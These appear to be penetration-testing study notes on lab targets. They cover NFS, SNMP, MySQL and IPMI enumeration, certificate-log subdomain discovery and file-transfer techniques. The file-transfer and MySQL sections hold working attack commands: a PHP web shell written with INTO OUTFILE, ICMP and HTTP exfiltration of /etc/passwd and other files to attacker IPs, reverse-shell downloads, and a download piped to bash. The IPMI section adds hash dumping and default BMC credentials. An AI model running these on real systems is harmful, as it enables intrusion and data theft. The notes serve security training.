111/tcp  open  rpcbind 2-4 (RPC #100000)
| nfs-ls: Volume /mnt/nfs
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID    GID    SIZE  TIME                 FILENAME
| rwxrwxrwx   65534  65534  4096  2021-09-19T15:28:17  .
| ??????????  ?      ?      ?     ?                    ..
| rw-r--r--   0      0      1872  2021-09-19T15:27:42  id_rsa
| rw-r--r--   0      0      348   2021-09-19T15:28:17  id_rsa.pub
| rw-r--r--   0      0      0     2021-09-19T15:22:30  nfs.share
|_
| nfs-showmount: 
|_  /mnt/nfs 10.129.14.0/24
| nfs-statfs: 
|   Filesystem  1K-blocks   Used       Available   Use%  Maxfilesize  Maxlink
|_  /mnt/nfs    30313412.0  8074868.0  20675664.0  29%   16.0T        32000
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      41982/udp6  mountd
|   100005  1,2,3      45837/tcp   mountd
|   100005  1,2,3      47217/tcp6  mountd
|   100005  1,2,3      58830/udp   mountd
|   100021  1,3,4      39542/udp   nlockmgr
|   100021  1,3,4      44629/tcp   nlockmgr
|   100021  1,3,4      45273/tcp6  nlockmgr
|   100021  1,3,4      47524/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp open  nfs_acl 3 (RPC #100227)
MAC Address: 00:00:00:00:00:00 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
```

### Show Available NFS Shares

```shell-session
 showmount -e 10.129.14.128
```

```shell-session
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24
```

### Mounting NFS Share

```shell-session
mkdir target-NFS
```

```shell-session
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
```

```shell-session
cd target-NFS
tree .
```

### List Contents with Usernames & Group Names

```shell-session
ls -l mnt/nfs/
```

```shell-session
total 16
-rw-r--r-- 1 cry0l1t3 cry0l1t3 1872 Sep 25 00:55 cry0l1t3.priv
-rw-r--r-- 1 cry0l1t3 cry0l1t3  348 Sep 25 00:55 cry0l1t3.pub
-rw-r--r-- 1 root     root     1872 Sep 19 17:27 id_rsa
-rw-r--r-- 1 root     root      348 Sep 19 17:28 id_rsa.pub
-rw-r--r-- 1 root     root        0 Sep 19 17:22 nfs.share
```

### List Contents with UIDs & GUIDs

```shell-session
ls -n mnt/nfs/
```

```shell-session
total 16
-rw-r--r-- 1 1000 1000 1872 Sep 25 00:55 cry0l1t3.priv
-rw-r--r-- 1 1000 1000  348 Sep 25 00:55 cry0l1t3.pub
-rw-r--r-- 1    0 1000 1221 Sep 19 18:21 backup.sh
-rw-r--r-- 1    0    0 1872 Sep 19 17:27 id_rsa
-rw-r--r-- 1    0    0  348 Sep 19 17:28 id_rsa.pub
-rw-r--r-- 1    0    0    0 Sep 19 17:22 nfs.share
```

### Unmounting

```shell-session
sudo umount ./target-NFS
```


# SNMP Attack

* Ports used
  * \[\[UDP]] 161
  * \[\[UDP]] 162
    * `traps`
    * These are data packets sent from the SNMP server to the client without being explicitly requested.
      * If a device is configured accordingly
    * An SNMP trap is sent to the client once a specific event occurs on the server-side

### MIB

* To ensure that SNMP access works across manufacturers and with different client-server combinations, the `Management Information Base` (`MIB`) was created.
  * A MIB is a text file in which all queryable SNMP objects of a device are listed in a standardized tree hierarchy
* do not contain data
  * link to the data
    * returns a specific OID

### OID

* represents a node in a hierarchical namespace.
* A sequence of numbers uniquely identifies each node, allowing the node's position in the tree to be determined.

## SNMP

### SNMPv1

* provides traps,
* `no built-in authentication` mechanism
* does not support encryption

### SNMPv2

* similar to SNMPv1
* `community string` that provides security is only transmitted in plain text, meaning it has no built-in encryption.

### SNMPv3

* has `authentication` using username and password and transmission `encryption` (via `pre-shared key`) of the data

### Default Configuration

```shell-session
cat /etc/snmp/snmpd.conf | grep -v "#" | sed -r '/^\s*$/d'
```

```shell-session
sysLocation    Sitting on the Dock of the Bay
sysContact     Me <me@example.org>
sysServices    72
master  agentx
agentaddress  127.0.0.1,[::1]
view   systemonly  included   .1.3.6.1.2.1.1
view   systemonly  included   .1.3.6.1.2.1.25.1
rocommunity  public default -V systemonly
rocommunity6 public default -V systemonly
rouser authPrivUser authpriv -V systemonly
```

#### Dangerous Settings

| **Settings**                                     | **Description**                                                                       |
| ------------------------------------------------ | ------------------------------------------------------------------------------------- |
| `rwuser noauth`                                  | Provides access to the full OID tree without authentication.                          |
| `rwcommunity <community string> <IPv4 address>`  | Provides access to the full OID tree regardless of where the requests were sent from. |
| `rwcommunity6 <community string> <IPv6 address>` | Same access as with `rwcommunity` with the difference of using IPv6.                  |

***

## Footprinting the Service

### snmpwalk

* snmpwalk

```
snmpwalk -v 2c -c public monitored.htb -m all| tee snmp_data
```

```shell-session
snmpwalk -v2c -c public 10.129.14.128
```

```shell-session
iso.3.6.1.2.1.1.1.0 = STRING: "Linux htb 5.11.0-34-generic #36~20.04.1-Ubuntu SMP Fri Aug 27 08:06:32 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (5134) 0:00:51.34
iso.3.6.1.2.1.1.4.0 = STRING: "mrb3n@inlanefreight.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "htb"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (3676678) 10:12:46.78
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E5 09 14 0E 2B 2D 00 2B 02 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-5.11.0-34-generic root=UUID=9a6a5c52-f92a-42ea-8ddf-940d7e0f4223 ro quiet splash"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 3
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 411
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

...SNIP...

iso.3.6.1.2.1.25.6.3.1.2.1232 = STRING: "printer-driver-sag-gdi_0.1-7_all"
iso.3.6.1.2.1.25.6.3.1.2.1233 = STRING: "printer-driver-splix_2.0.0+svn315-7fakesync1build1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1234 = STRING: "procps_2:3.3.16-1ubuntu2.3_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1235 = STRING: "proftpd-basic_1.3.6c-2_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1236 = STRING: "proftpd-doc_1.3.6c-2_all"
iso.3.6.1.2.1.25.6.3.1.2.1237 = STRING: "psmisc_23.3-1_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1238 = STRING: "publicsuffix_20200303.0012-1_all"
iso.3.6.1.2.1.25.6.3.1.2.1239 = STRING: "pulseaudio_1:13.99.1-1ubuntu3.12_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1240 = STRING: "pulseaudio-module-bluetooth_1:13.99.1-1ubuntu3.12_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1241 = STRING: "pulseaudio-utils_1:13.99.1-1ubuntu3.12_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1242 = STRING: "python-apt-common_2.0.0ubuntu0.20.04.6_all"
iso.3.6.1.2.1.25.6.3.1.2.1243 = STRING: "python3_3.8.2-0ubuntu2_amd64"
iso.3.6.1.2.1.25.6.3.1.2.1244 = STRING: "python3-acme_1.1.0-1_all"
iso.3.6.1.2.1.25.6.3.1.2.1245 = STRING: "python3-apport_2.20.11-0ubuntu27.21_all"
iso.3.6.1.2.1.25.6.3.1.2.1246 = STRING: "python3-apt_2.0.0ubuntu0.20.04.6_amd64" 
```

### snmpbulkwalk

* faster than snmp walk

```
snmpbulkwalk -v 2c -c public monitored.htb -m all| tee snmp_data
```

### OneSixtyOne

* can be used to get community string
* <https://github.com/trailofbits/onesixtyone>

```shell-session
sudo apt install onesixtyone
```

```shell-session
onesixtyone -c /opt/useful/SecLists/Discovery/SNMP/snmp.txt 10.129.14.128
```

```shell-session
Scanning 1 hosts, 3220 communities
10.129.14.128 [public] Linux htb 5.11.0-37-generic #41~20.04.2-Ubuntu SMP Fri Sep 24 09:06:38 UTC 2021 x86_64
```

* Once we know a community string, we can use it with [braa](https://github.com/mteg/braa) to brute-force the individual OIDs and enumerate the information behind them.

### Braa

```shell-session
 sudo apt install braa
```

```shell-session
 braa <community string>@<IP>:.1.3.6.* 
```

```shell-session
braa public@10.129.14.128:.1.3.6.*
```


# MYSQL attacks

### Default Configuration

```shell-session
sudo apt install mysql-server -y
```

```shell-session
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | sed -r '/^\s*$/d'
```

```shell-session
[client]
port		= 3306
socket		= /var/run/mysqld/mysqld.sock

[mysqld_safe]
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
nice		= 0

[mysqld]
skip-host-cache
skip-name-resolve
user		= mysql
pid-file	= /var/run/mysqld/mysqld.pid
socket		= /var/run/mysqld/mysqld.sock
port		= 3306
basedir		= /usr
datadir		= /var/lib/mysql
tmpdir		= /tmp
lc-messages-dir	= /usr/share/mysql
explicit_defaults_for_timestamp

symbolic-links=0

!includedir /etc/mysql/conf.d/
```

### Dangerous Settings

| **Settings**       | **Description**                                                                                              |
| ------------------ | ------------------------------------------------------------------------------------------------------------ |
| `user`             | Sets which user the MySQL service will run as.                                                               |
| `password`         | Sets the password for the MySQL user.                                                                        |
| `admin_address`    | The IP address on which to listen for TCP/IP connections on the administrative network interface.            |
| `debug`            | This variable indicates the current debugging settings                                                       |
| `sql_warnings`     | This variable controls whether single-row INSERT statements produce an information string if warnings occur. |
| `secure_file_priv` | This variable is used to limit the effect of data import and export operations.                              |

### Footprinting the Service

```shell-session
 sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
```

```shell-session
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).

PORT     STATE SERVICE     VERSION
3306/tcp open  nagios-nsca Nagios NSCA
| mysql-brute: 
|   Accounts: 
|     root:<empty> - Valid credentials
|_  Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0
|_mysql-databases: ERROR: Script execution failed (use -d to debug)
|_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug)
| mysql-empty-password: 
|_  root account has empty password
| mysql-enum: 
|   Valid usernames: 
|     root:<empty> - Valid credentials
|     netadmin:<empty> - Valid credentials
|     guest:<empty> - Valid credentials
|     user:<empty> - Valid credentials
|     web:<empty> - Valid credentials
|     sysadmin:<empty> - Valid credentials
|     administrator:<empty> - Valid credentials
|     webadmin:<empty> - Valid credentials
|     admin:<empty> - Valid credentials
|     test:<empty> - Valid credentials
|_  Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.26-0ubuntu0.20.04.1
|   Thread ID: 13
|   Capabilities flags: 65535
|   Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_  Auth Plugin Name: caching_sha2_password
|_mysql-users: ERROR: Script execution failed (use -d to debug)
|_mysql-variables: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:00:00:00:00:00 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds
```

### MySQL - Read Local Files in MySQL

```shell-session
 select LOAD_FILE("/etc/passwd");
```

```shell-session
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>

```

* <https://www.w3resource.com/mysql/string-functions/mysql-load\\_file-function.php>

### Write Local Files

```shell-session
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
```

* In `MySQL`, a global system variable [secure\_file\_priv](https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv) limits the effect of data import and export operations, such as those performed by the `LOAD DATA` and `SELECT … INTO OUTFILE` statements and the [LOAD\_FILE()](https://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_load-file) function. These operations are permitted only to users who have the [FILE](https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html#priv_file) privilege.
* `secure_file_priv` may be set as follows
  * If empty, the variable has no effect, which is not a secure setting.
  * If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
  * If set to NULL, the server disables import and export operations.
* In the following example, we can see the `secure_file_priv` variable is empty, which means we can read and write data using `MySQL`:

**MySQL - Secure File Privileges**

```shell-session
 show variables like "secure_file_priv";
```

### User Defined Functions

* `MySQL` supports [User Defined Functions](https://dotnettutorials.net/lesson/user-defined-functions-in-mysql/) which allows us to execute C/C++ code as a function within SQL
  * there's one User Defined Function for command execution in this [GitHub repository](https://github.com/mysqludf/lib_mysqludf_sys).
  * It is not common to encounter a user-defined function like this in a production environment, but we should be aware that we may be able to use it.


# IPMI

* IPMI you would be able to execute remote commands
* Intelligent Platform Management Interface
* works independently from the host os
  * can work when the system is shutdown
  * Before the OS has booted to modify BIOS settings
  * When the host is fully powered down
  * Access to a host after a system failure
* IPMI requires the following components:
  * Baseboard Management Controller (BMC) - A micro-controller and essential component of an IPMI
  * Intelligent Chassis Management Bus (ICMB) - An interface that permits communication from one chassis to another
  * Intelligent Platform Management Bus (IPMB) - extends the BMC
  * IPMI Memory - stores things such as the system event log, repository store data, and more
  * Communications Interfaces - local system interfaces, serial and LAN interfaces, ICMB and PCI Management Bus
* Some unique default passwords to keep in our cheatsheets include:

| Product         | Username      | Password                                                                  |
| --------------- | ------------- | ------------------------------------------------------------------------- |
| Dell iDRAC      | root          | calvin                                                                    |
| HP iLO          | Administrator | randomized 8-character string consisting of numbers and uppercase letters |
| Supermicro IPMI | ADMIN         | ADMIN                                                                     |

### Footprinting the Service

#### Nmap

```shell-session
 sudo nmap -sU --script ipmi-version -p 623 ilo.inlanfreight.local
```

```shell-session
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.inlanfreight.local (172.16.2.2)
Host is up (0.00064s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version:
|   Version:
|     IPMI-2.0
|   UserAuth:
|   PassAuth: auth_user, non_null_user
|_  Level: 2.0
MAC Address: 14:03:DC:674:18:6A (Hewlett Packard Enterprise)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
```

#### Metasploit Version Scan

```
msfconsole
```

```shell-session
 use auxiliary/scanner/ipmi/ipmi_version 
```

```shell-session
set rhosts 10.129.42.195
```

```shell-session
show options 
```

```shell-session

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS     10.129.42.195    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads
```

```shell-session
run
```

```
[*] Sending IPMI requests to 10.129.160.115->10.129.160.115 (1 hosts)
[+] 10.129.160.115:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) 

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

#### Metasploit Dumping Hashes

```
msfconsole
```

```shell-session
use auxiliary/scanner/ipmi/ipmi_dumphashes 
```

```shell-session
set rhosts 10.129.42.195
```

```shell-session
show options 
```

```shell-session
run
```

```

[+] 10.129.160.115:623 - IPMI - Hash found: admin:5cd4450782000000067fb9f6e152cfab613715ed4a90c340a862a5f4d2badb80ba70abad42852effa123456789abcdefa123456789abcdef140561646d696e:b3389ffe57d4c8005c12650ab4f38f3463b72b84
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

**for above command**

* can set PASS\_FILE

```
set PASS_FILE /usr/share/wordlists/seclists/Passwords/bt4-password.txt
```

```
run
```

### Dangerous Settings

* If default credentials do not work to access a BMC, we can turn to a [flaw](http://fish2.com/ipmi/remote-pw-cracking.html) in the RAKP protocol in IPMI 2.0.
  * &#x20;During the authentication process, the server sends a salted SHA1 or MD5 hash of the user's password to the client before authentication takes place.
  * can be leveraged to obtain the password hash for ANY valid user account on the BMC.
    * can be cracked offline
      * `hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u`


# SSL Attacks

* SSL Server Test
  * <https://www.ssllabs.com/ssltest/>

### Searching CT Logs

There are two popular options for searching CT logs:

| Tool                                | Key Features                                                                                                     | Use Cases                                                                                                 | Pros                                              | Cons                                         |
| ----------------------------------- | ---------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | -------------------------------------------- |
| [crt.sh](https://crt.sh/)           | User-friendly web interface, simple search by domain, displays certificate details, SAN entries.                 | Quick and easy searches, identifying subdomains, checking certificate issuance history.                   | Free, easy to use, no registration required.      | Limited filtering and analysis options.      |
| [Censys](https://search.censys.io/) | Powerful search engine for internet-connected devices, advanced filtering by domain, IP, certificate attributes. | In-depth analysis of certificates, identifying misconfigurations, finding related certificates and hosts. | Extensive data and filtering options, API access. | Requires registration (free tier available). |

#### Pull data from SSL

* data about which sites are protected can be in the SSL certificate

```shell-session
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq .
```

**Filter by subdomain**

```shell-session
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
```

**Get ip address for above subdomains**

```
curl -s https://crt.sh/\?q\=inlanefreight.com\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u >> subdomainlist
```

```shell-session
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done
```

* can run shodan on the IP's


# Transferring Files

### Web server

* [Personal web server](/cybersecurity/personal-web-server)

```
wget http://10.10.14.1:800/linenum.sh
```

```
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh
```

#### Different methods

**Linux**

```
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```

**Windows**

* [PowerShell Web Downloads](/cybersecurity/powershell-web-downloads)

### DNS

* <https://github.com/62726164/dns-exfil>

### ICMP

#### Attacker Box

* python script

```
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 0:
            data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
            print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```

#### Victim

**Linux**

```
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

**Windows**

```

# Define the path to the file and the attacker's IP address
$filePath = "hello.txt"
$attackerIP = "172.29.58.89" # Replace with the attacker's IP address

# Read the file content and convert it to hex
$fileContent = [System.IO.File]::ReadAllBytes($filePath)
$hexString = -join ($fileContent | ForEach-Object { $_.ToString("x2") })

# Split the hex string into chunks of 8 characters (4 bytes)
$chunks = $hexString -split "(.{8})" -ne ""

# Loop through each chunk and send an ICMP ping with the chunk as the payload
foreach ($chunk in $chunks) {
    # Convert the hex chunk to bytes
    $bytes = for ($i = 0; $i -lt $chunk.Length; $i += 2) {
        [Convert]::ToByte($chunk.Substring($i, 2), 16)
    }
    # Convert bytes to a string for the payload
    $payload = [System.Text.Encoding]::ASCII.GetString($bytes)

    # Send the ICMP ping with the payload
    $ping = New-Object System.Net.NetworkInformation.Ping
    $ping.Send($attackerIP, 1000, $bytes) | Out-Null

    # Optionally, add a small delay between pings
    Start-Sleep -Milliseconds 100
}

```

### Python

```shell-session
python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

```shell-session
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
```

#### Uploading a File Using a Python One-liner

```shell-session
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
```

### PHP

**PHP Download with File\_get\_contents()**

```shell-session
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

**PHP Download with Fopen()**

```shell-session
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
```

**PHP Download a File and Pipe it to Bash**

```shell-session
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
```

### JavaScript

* create a file called `wget.js`

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
```

**Download a File Using JavaScript and cscript.exe**

```cmd-session
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
```

### VBScript

* create a file called `wget.vbs`

```vbscript
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
```

```cmd-session
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
```

### Other Languages

**Ruby - Download a File**

```shell-session
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
```

**Perl - Download a File**

```shell-session
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
```

### RDP

**Mounting a Linux Folder Using rdesktop**

```shell-session
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
```

**Mounting a Linux Folder Using xfreerdp**

```shell-session
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
```

## Linux

### MD5

```shell-session
md5sum id_rsa
```

```shell-session
4e301756a07ded0a2dd6953abf015278  id_rsa
```

### SSHFS

* If the victim has SSH, the attacker can mount a directory from the victim to the attacker.

```
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```

### NC

#### Linux

```
nc -lvnp 4444 > new_file # Recive file
nc -vn <IP> 4444 < exfil_file #  Send File
```

```shell-session
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
```

* `-q 0` will tell Netcat to close the connection once it finishes

#### Windows

* Receive file

```shell-session
ncat -l -p 8000 --recv-only > SharpKatz.exe
```

* send

```shell-session
 ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
```

### Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

```shell-session
victim@target:~$ cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
```

**Note:** The same operation can be used to transfer files from the compromised host to our Pwnbox.

### SCP

```
scp linenum.sh user@remotehost:/tmp/linenum.sh
```

### Encode and Decode Files

#### Encode File

```shell-session
cat id_rsa |base64 -w 0;echo
```

#### Decode File

```
echo "VXNlcm5hbWU6IGh0Yi1hYy0xMjUwNTM3ClBhc3N3b3JkOiB5eHhyekJFbwo=" | base64 -d
```

### &#x20;SMB Server

* Create SMB server
* [Create SMB server Linux (HACK)](app://obsidian.md/Create%20SMB%20server%20Linux%20\(HACK\))

### FTP Server

* [Create FTP Server Linux (HACK)](app://obsidian.md/Create%20FTP%20Server%20Linux%20\(HACK\))

## Windows

### MD5

#### powershell

```powershell-session
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
```

#### Bat

```
certutil -hashfile temp.csv MD5
```

### PowerShell Base64 Encode & Decode

#### Encode

```ruby
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
```

#### Decode

```powershell-session
